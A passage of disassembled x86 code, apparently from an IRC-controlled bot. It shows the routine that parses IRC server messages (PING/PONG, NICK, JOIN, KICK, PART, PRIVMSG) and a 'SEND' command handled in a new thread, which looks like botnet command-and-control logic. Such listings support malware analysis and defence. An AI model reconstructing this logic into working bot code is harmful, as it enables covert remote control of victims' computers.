		push	[ebp+arg_0]
		call	dword_4D6700	; closesocket
		push	1388h
		call	dword_4E033C	; Sleep


loc_401BB3:				; CODE XREF: sub_401B0B+D9j
					; sub_401B0B+153j
		xor	eax, eax


loc_401BB5:				; CODE XREF: sub_401B0B+16Fj
					; sub_401B0B+177j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401BBA:				; CODE XREF: sub_401B0B+92j
					; sub_401B0B+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4D6680	; recv
		test	eax, eax
		jle	short loc_401BB3
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_41198E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401BBA
		lea	edi, [ebp+var_A90]


loc_401C0B:				; CODE XREF: sub_401B0B+165j
		xor	esi, esi
		inc	esi


loc_401C0E:				; CODE XREF: sub_401B0B+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401C87
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401C51
		push	7D0h
		call	dword_4E033C	; Sleep
		jmp	short loc_401C0E
; ---------------------------------------------------------------------------


loc_401C51:				; CODE XREF: sub_401B0B+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401C7F
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401C77
		cmp	esi, 0FFFFFFFFh
		jz	loc_401BB3
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401C0B
		jmp	loc_401BBA
; ---------------------------------------------------------------------------


loc_401C77:				; CODE XREF: sub_401B0B+14Ej
		xor	eax, eax
		inc	eax
		jmp	loc_401BB5
; ---------------------------------------------------------------------------


loc_401C7F:				; CODE XREF: sub_401B0B+149j
		push	2
		pop	eax
		jmp	loc_401BB5
sub_401B0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401C87	proc near		; CODE XREF: sub_401B0B+12Ap

var_29B0	= byte ptr -29B0h
var_25B0	= byte ptr -25B0h
var_2420	= byte ptr -2420h
var_2220	= byte ptr -2220h
var_2120	= byte ptr -2120h
var_2020	= byte ptr -2020h
var_1E20	= byte ptr -1E20h
var_1E1C	= byte ptr -1E1Ch
var_1D1C	= byte ptr -1D1Ch
var_1CCC	= dword	ptr -1CCCh
var_1CC8	= byte ptr -1CC8h
var_1A41	= byte ptr -1A41h
var_1A40	= byte ptr -1A40h
var_193C	= dword	ptr -193Ch
var_1934	= dword	ptr -1934h
var_1930	= dword	ptr -1930h
var_192C	= dword	ptr -192Ch
var_1928	= dword	ptr -1928h
var_1920	= dword	ptr -1920h
var_191C	= byte ptr -191Ch
var_1918	= byte ptr -1918h
var_1898	= byte ptr -1898h
var_1858	= byte ptr -1858h
var_17C8	= dword	ptr -17C8h
var_17C4	= dword	ptr -17C4h
var_17C0	= dword	ptr -17C0h
var_17BC	= dword	ptr -17BCh
var_17B8	= dword	ptr -17B8h
var_17B4	= byte ptr -17B4h
var_17B0	= dword	ptr -17B0h
var_17AC	= byte ptr -17ACh
var_172C	= byte ptr -172Ch
var_16B0	= byte ptr -16B0h
var_1628	= byte ptr -1628h
var_15AC	= dword	ptr -15ACh
var_15A8	= dword	ptr -15A8h
var_15A4	= dword	ptr -15A4h
var_15A0	= byte ptr -15A0h
var_1524	= dword	ptr -1524h
var_1520	= dword	ptr -1520h
var_151C	= dword	ptr -151Ch
var_1518	= dword	ptr -1518h
var_1514	= byte ptr -1514h
var_1510	= byte ptr -1510h
var_1410	= byte ptr -1410h
var_1400	= byte ptr -1400h
var_1380	= byte ptr -1380h
var_1300	= dword	ptr -1300h
var_12F8	= dword	ptr -12F8h
var_12F4	= dword	ptr -12F4h
var_12F0	= dword	ptr -12F0h
var_12EC	= dword	ptr -12ECh
var_12E8	= dword	ptr -12E8h
var_12E4	= dword	ptr -12E4h
var_12DC	= byte ptr -12DCh
var_125C	= byte ptr -125Ch
var_11DC	= dword	ptr -11DCh
var_11D8	= dword	ptr -11D8h
var_11D4	= dword	ptr -11D4h
var_11CC	= dword	ptr -11CCh
var_11C8	= dword	ptr -11C8h
var_11C4	= dword	ptr -11C4h
var_11BC	= byte ptr -11BCh
var_1170	= dword	ptr -1170h
var_1168	= byte ptr -1168h
var_1154	= byte ptr -1154h
var_1050	= byte ptr -1050h
var_FD0		= dword	ptr -0FD0h
var_FCC		= dword	ptr -0FCCh
var_FC8		= dword	ptr -0FC8h
var_FC4		= dword	ptr -0FC4h
var_FC0		= dword	ptr -0FC0h
var_FBC		= dword	ptr -0FBCh
var_FB8		= byte ptr -0FB8h
var_F38		= byte ptr -0F38h
var_E38		= byte ptr -0E38h
var_D38		= dword	ptr -0D38h
var_D34		= dword	ptr -0D34h
var_D30		= dword	ptr -0D30h
var_D2C		= dword	ptr -0D2Ch
var_D28		= dword	ptr -0D28h
var_D24		= dword	ptr -0D24h
var_D20		= dword	ptr -0D20h
var_D1C		= dword	ptr -0D1Ch
var_D18		= dword	ptr -0D18h
var_D14		= dword	ptr -0D14h
var_D0C		= byte ptr -0D0Ch
var_CF8		= byte ptr -0CF8h
var_CF4		= dword	ptr -0CF4h
var_CF0		= byte ptr -0CF0h
var_C70		= byte ptr -0C70h
var_BF4		= byte ptr -0BF4h
var_BF0		= byte ptr -0BF0h
var_B74		= dword	ptr -0B74h
var_B70		= dword	ptr -0B70h
var_B6C		= dword	ptr -0B6Ch
var_B68		= dword	ptr -0B68h
var_B64		= dword	ptr -0B64h
var_B60		= byte ptr -0B60h
var_AE0		= dword	ptr -0AE0h
var_ADC		= byte ptr -0ADCh
var_AD0		= byte ptr -0AD0h
var_ACC		= byte ptr -0ACCh
var_A5C		= byte ptr -0A5Ch
var_9DC		= dword	ptr -9DCh
var_9D8		= dword	ptr -9D8h
var_9D4		= dword	ptr -9D4h
var_9D0		= dword	ptr -9D0h
var_9CC		= byte ptr -9CCh
var_96B		= byte ptr -96Bh
var_96A		= byte ptr -96Ah
var_968		= byte ptr -968h
var_967		= byte ptr -967h
var_95E		= byte ptr -95Eh
var_95C		= byte ptr -95Ch
var_95A		= byte ptr -95Ah
var_959		= byte ptr -959h
var_8CC		= byte ptr -8CCh
var_8C0		= byte ptr -8C0h
var_8B0		= dword	ptr -8B0h
var_8AC		= byte ptr -8ACh
var_890		= byte ptr -890h
var_870		= dword	ptr -870h
var_844		= dword	ptr -844h
var_840		= word ptr -840h
var_82C		= byte ptr -82Ch
var_81C		= byte ptr -81Ch
var_79C		= byte ptr -79Ch
var_71C		= dword	ptr -71Ch
var_718		= dword	ptr -718h
var_714		= dword	ptr -714h
var_710		= dword	ptr -710h
var_70C		= dword	ptr -70Ch
var_700		= dword	ptr -700h
var_6FC		= dword	ptr -6FCh
var_6F4		= dword	ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= dword	ptr -6ECh
var_6E8		= dword	ptr -6E8h
var_6E0		= dword	ptr -6E0h
var_6DC		= byte ptr -6DCh
var_65C		= dword	ptr -65Ch
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_64C		= dword	ptr -64Ch
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_63C		= dword	ptr -63Ch
var_634		= dword	ptr -634h
var_630		= byte ptr -630h
var_5B0		= dword	ptr -5B0h
var_5AC		= dword	ptr -5ACh
var_5A8		= dword	ptr -5A8h
var_5A4		= dword	ptr -5A4h
var_5A0		= dword	ptr -5A0h
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= dword	ptr -590h
var_588		= byte ptr -588h
var_578		= byte ptr -578h
var_4F8		= byte ptr -4F8h
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_438		= byte ptr -438h
var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_3B8		= word ptr -3B8h
var_3B4		= dword	ptr -3B4h
var_3B0		= dword	ptr -3B0h
var_3AC		= dword	ptr -3ACh
var_3A8		= dword	ptr -3A8h
var_3A4		= dword	ptr -3A4h
var_3A0		= dword	ptr -3A0h
var_39C		= dword	ptr -39Ch
var_398		= byte ptr -398h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= byte ptr -304h
var_2E8		= byte ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2D8		= word ptr -2D8h
var_2D6		= word ptr -2D6h
var_2D4		= dword	ptr -2D4h
var_2C8		= byte ptr -2C8h
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= byte ptr -0C0h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 29B0h
		call	sub_4181D0
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		mov	[ebp+var_A8], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C4], ebx
		call	sub_417700
		push	1Bh
		lea	eax, [ebp+var_304]
		push	[ebp+arg_10]
		push	eax
		call	sub_417760
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40622C
		push	esi
		lea	eax, [ebp+var_2020]
		push	ebx
		push	eax
		call	sub_417700
		dec	esi
		lea	eax, [ebp+var_2020]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_417760
		lea	eax, [ebp+var_2020]
		push	offset asc_437B88 ; " :"
		push	eax
		call	sub_417E00
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_2020]
		push	esi
		push	eax
		lea	eax, [ebp+var_2420]
		push	eax
		call	sub_417760
		lea	eax, [ebp+var_2420]
		push	offset asc_437B8C ; "  !"
		push	eax
		call	sub_418AC0
		xor	edi, edi
		add	esp, 34h
		inc	edi
		mov	[ebp+var_94], eax
		mov	esi, edi


loc_401D4E:				; CODE XREF: sub_401C87+DFj
		push	437B8Eh
		push	ebx
		call	sub_418AC0
		mov	[ebp+esi*4+var_94], eax
		inc	esi
		pop	ecx
		cmp	esi, 20h
		pop	ecx
		jl	short loc_401D4E
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_4075FD
		cmp	[ebp+var_90], ebx
		jz	loc_4075FD
		push	100h
		lea	eax, [ebp+var_9CC]
		push	ebx
		push	eax
		call	sub_417700
		add	esp, 0Ch
		push	1Fh
		pop	edx


loc_401D9A:				; CODE XREF: sub_401C87+147j
		lea	ecx, [ebp+edx*4+var_94]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401DCD
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401DD0
		cmp	[eax+2], bl
		jnz	short loc_401DD0
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_9CC], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401DCD:				; CODE XREF: sub_401C87+11Ej
		dec	edx
		jns	short loc_401D9A


loc_401DD0:				; CODE XREF: sub_401C87+123j
					; sub_401C87+128j
		cmp	[ebp+var_959], bl
		jz	short loc_401DDB
		mov	[ebp+var_8], edi


loc_401DDB:				; CODE XREF: sub_401C87+14Fj
		cmp	[ebp+var_95E], bl
		jz	short loc_401DE9
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401DE9:				; CODE XREF: sub_401C87+15Aj
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401E23
		push	7Fh
		lea	eax, [ebp+var_B60]
		push	esi
		push	eax
		call	sub_417760
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_417760
		lea	eax, [ebp+var_C0]
		push	437B90h
		push	eax
		call	sub_418AC0
		add	esp, 20h


loc_401E23:				; CODE XREF: sub_401C87+165j
		push	esi
		push	offset aPing	; "PING"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E74
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_4075FD
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		add	esp, 10h
		jmp	loc_4075FD
; ---------------------------------------------------------------------------


loc_401E74:				; CODE XREF: sub_401C87+1ABj
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4075BC
		push	esi
		push	offset a005	; "005"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4075BC
		push	esi
		push	offset a302	; "302"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401EE6
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417E00
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4075FD
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_417760
		add	esp, 0Ch
		jmp	loc_4075FD
; ---------------------------------------------------------------------------


loc_401EE6:				; CODE XREF: sub_401C87+22Cj
		push	esi
		push	offset a433	; "433"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F24
		push	ebx
		push	dword_4370A4
		push	dword_4370A0
		push	[ebp+arg_10]
		call	sub_409361
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		add	esp, 1Ch
		jmp	loc_4075FD
; ---------------------------------------------------------------------------


loc_401F24:				; CODE XREF: sub_401C87+26Ej
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_C8], 3
		mov	edi, 80h


loc_401F36:				; CODE XREF: sub_401C87+2D4j
		lea	eax, [ebp+var_B60]
		push	eax
		push	esi
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F53
		mov	[ebp+var_A4], 1


loc_401F53:				; CODE XREF: sub_401C87+2C0j
		add	esi, edi
		dec	[ebp+var_C8]
		jnz	short loc_401F36
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40203F
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401F82:				; CODE XREF: sub_401C87+37Aj
		cmp	[esi], bl
		jz	short loc_401FFC
		push	7Fh
		lea	eax, [ebp+var_B60]
		push	esi
		push	eax
		call	sub_417760
		add	esp, 0Ch
		cmp	[ebp+var_88], ebx
		jz	short loc_401FFC
		push	[ebp+var_88]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401FFC
		lea	eax, [ebp+var_C0]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_437BE0
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_2C8]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		add	esp, 20h


loc_401FFC:				; CODE XREF: sub_401C87+2FDj
					; sub_401C87+317j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401F82
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40622C
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"


loc_40202F:				; CODE XREF: sub_401C87+5F4j
					; sub_401C87+892j ...
		push	[ebp+arg_4]
		call	sub_407604


loc_402037:				; CODE XREF: sub_401C87+1FFEj
					; sub_401C87+201Bj ...
		add	esp, 10h
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_40203F:				; CODE XREF: sub_401C87+2EBj
		push	esi
		push	offset aNick	; "NICK"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402187
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_402068:				; CODE XREF: sub_401C87+433j
		lea	eax, [ebp+var_B60]
		push	eax
		push	esi
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4020B5
		lea	eax, [ebp+var_B60]
		push	21h
		push	eax
		call	sub_418970
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_4020B5
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_418870
		push	[ebp+arg_1C]
		push	edi
		call	sub_418880
		add	esp, 10h
		mov	edi, 80h


loc_4020B5:				; CODE XREF: sub_401C87+3F2j
					; sub_401C87+409j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_402068
		cmp	[ebp+arg_24], ebx
		jz	loc_40622C
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4020EF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_417760


loc_4020E7:				; CODE XREF: sub_401C87+18FCj
		add	esp, 0Ch
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_4020EF:				; CODE XREF: sub_401C87+451j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4020F4:				; CODE XREF: sub_401C87+48Ej
		cmp	[edi], bl
		jz	short loc_40210B
		lea	eax, [ebp+var_B60]
		push	eax
		push	edi
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C


loc_40210B:				; CODE XREF: sub_401C87+46Fj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4020F4
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_40211C:				; CODE XREF: sub_401C87+482j
		lea	eax, [ebp+var_B60]
		push	21h
		push	eax
		call	sub_418970
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40622C
		push	eax
		call	sub_414EC0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_414EC0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40622C
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_890]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 24h
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_402187:				; CODE XREF: sub_401C87+3C7j
		push	esi
		push	offset aPart	; "PART"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4021A9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4021D6


loc_4021A9:				; CODE XREF: sub_401C87+50Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4021AE:				; CODE XREF: sub_401C87+547j
		cmp	[edi], bl
		jz	short loc_4021C4
		push	[ebp+var_94]
		push	edi
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40221F


loc_4021C4:				; CODE XREF: sub_401C87+529j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4021AE
		mov	esi, [ebp+var_90]


loc_4021D6:				; CODE XREF: sub_401C87+520j
		push	esi
		push	offset a353	; "353"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402280
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402208
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_402208:				; CODE XREF: sub_401C87+576j
		push	[ebp+var_84]
		push	offset unk_437C44


loc_402213:				; CODE XREF: sub_401C87+2380j
					; sub_401C87+2707j ...
		call	sub_40F99B


loc_402218:				; CODE XREF: sub_401C87+18ACj
		pop	ecx


loc_402219:				; CODE XREF: sub_401C87+4421j
		pop	ecx
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_40221F:				; CODE XREF: sub_401C87+53Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_437C64
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		push	[ebp+var_90]
		push	offset aPart_0	; "PART"
		call	sub_418A30
		add	esp, 18h
		test	eax, eax
		jnz	loc_40622C
		lea	eax, [ebp+var_2C8]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s\r\n"
		jmp	loc_40202F
; ---------------------------------------------------------------------------


loc_402280:				; CODE XREF: sub_401C87+55Ej
		push	esi
		push	offset aPrivmsg	; "PRIVMSG"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022C3
		push	esi
		push	offset aNotice	; "NOTICE"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022C3
		push	esi
		push	offset a332	; "332"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40743C
		cmp	dword_43708C, ebx
		jz	loc_40743C


loc_4022C3:				; CODE XREF: sub_401C87+608j
					; sub_401C87+619j
		push	esi
		push	offset aPrivmsg_0 ; "PRIVMSG"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40243D
		push	esi
		push	offset aNotice_0 ; "NOTICE"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40243D
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		mov	[ebp+var_A8], 4
		mov	[ebp+var_8C], eax


loc_402309:				; CODE XREF: sub_401C87+870j
					; sub_401C87+8A6j ...
		mov	eax, [ebp+var_A8]
		mov	esi, eax
		shl	esi, 2
		lea	edi, [ebp+esi+var_94]
		mov	eax, [edi]
		push	eax
		push	offset dword_437CC4
		mov	[ebp+arg_20], eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4026DF
		push	[ebp+esi+var_90]
		push	offset aSend_1	; "SEND"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4025A7
		cmp	[ebp+var_A4], ebx
		jz	loc_40257D
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_CF8]
		push	offset aS_21	; "%s"
		push	eax
		call	sub_417CB0
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_D0C]
		push	offset aS_22	; "%s"
		push	eax
		call	sub_417CB0
		push	[ebp+esi+var_84]
		call	sub_417960
		mov	[ebp+var_B74], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_D14], eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_BF4]
		push	eax
		call	sub_417760
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B6C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_B68], eax
		lea	eax, [ebp+var_BF4]
		push	eax
		lea	eax, [ebp+var_CF8]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_437CDC
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Ah
		push	eax
		call	sub_409663
		add	esp, 44h
		mov	[ebp+var_B70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D14]
		push	ebx
		push	eax
		push	offset sub_410A18
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_B70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jz	loc_40256C
		jmp	loc_402562
; ---------------------------------------------------------------------------


loc_40243D:				; CODE XREF: sub_401C87+64Bj
					; sub_401C87+660j
		push	esi
		push	offset aNotice_1 ; "NOTICE"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402455
		mov	[ebp+var_4], 1


loc_402455:				; CODE XREF: sub_401C87+7C5j
		mov	edi, [ebp+var_8C]
		cmp	edi, ebx
		jz	loc_40622C
		push	offset asc_437D14 ; "#"
		push	edi
		call	sub_417E00
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402479
		cmp	[ebp+var_4], ebx
		jz	short loc_402485


loc_402479:				; CODE XREF: sub_401C87+7EBj
		lea	edi, [ebp+var_C0]
		mov	[ebp+var_8C], edi


loc_402485:				; CODE XREF: sub_401C87+7F0j
		cmp	[ebp+var_88], ebx
		jz	loc_40622C
		inc	[ebp+var_88]
		jz	short loc_4024CD
		cmp	[ebp+arg_10], ebx
		jz	short loc_4024CD
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_414EC0
		push	eax
		lea	eax, [ebp+var_304]
		push	[ebp+var_88]
		push	eax
		call	sub_418830
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_A8], eax


loc_4024CD:				; CODE XREF: sub_401C87+810j
					; sub_401C87+815j
		mov	eax, [ebp+var_A8]
		shl	eax, 2
		mov	[ebp+arg_8], eax
		mov	esi, [ebp+eax+var_94]
		cmp	esi, ebx
		jz	loc_40622C
		push	esi
		push	offset dword_437D18
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402309
		cmp	byte ptr [edi],	23h
		jz	short loc_40251E
		mov	eax, dword_4D6518
		mov	eax, off_4371D8[eax*4]
		cmp	[eax], bl
		jz	short loc_40251E
		push	eax
		push	edi
		push	offset dword_437D24
		jmp	loc_40202F
; ---------------------------------------------------------------------------


loc_40251E:				; CODE XREF: sub_401C87+879j
					; sub_401C87+889j
		push	esi
		push	offset dword_437D40
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402309
		mov	eax, [ebp+arg_8]
		mov	eax, [ebp+eax+var_90]
		cmp	eax, ebx
		jz	loc_402309
		cmp	byte ptr [edi],	23h
		jz	loc_402309
		push	eax
		push	edi
		push	offset dword_437D48
		jmp	loc_40202F
; ---------------------------------------------------------------------------


loc_40255A:				; CODE XREF: sub_401C87+8E1j
		push	32h
		call	dword_4E033C	; Sleep


loc_402562:				; CODE XREF: sub_401C87+7B1j
		cmp	[ebp+var_B64], ebx
		jz	short loc_40255A
		jmp	short loc_40259F
; ---------------------------------------------------------------------------


loc_40256C:				; CODE XREF: sub_401C87+7ABj
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437D60
		jmp	loc_406DB6
; ---------------------------------------------------------------------------


loc_40257D:				; CODE XREF: sub_401C87+6CFj
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+esi+var_8C]
		push	offset unk_437DA0
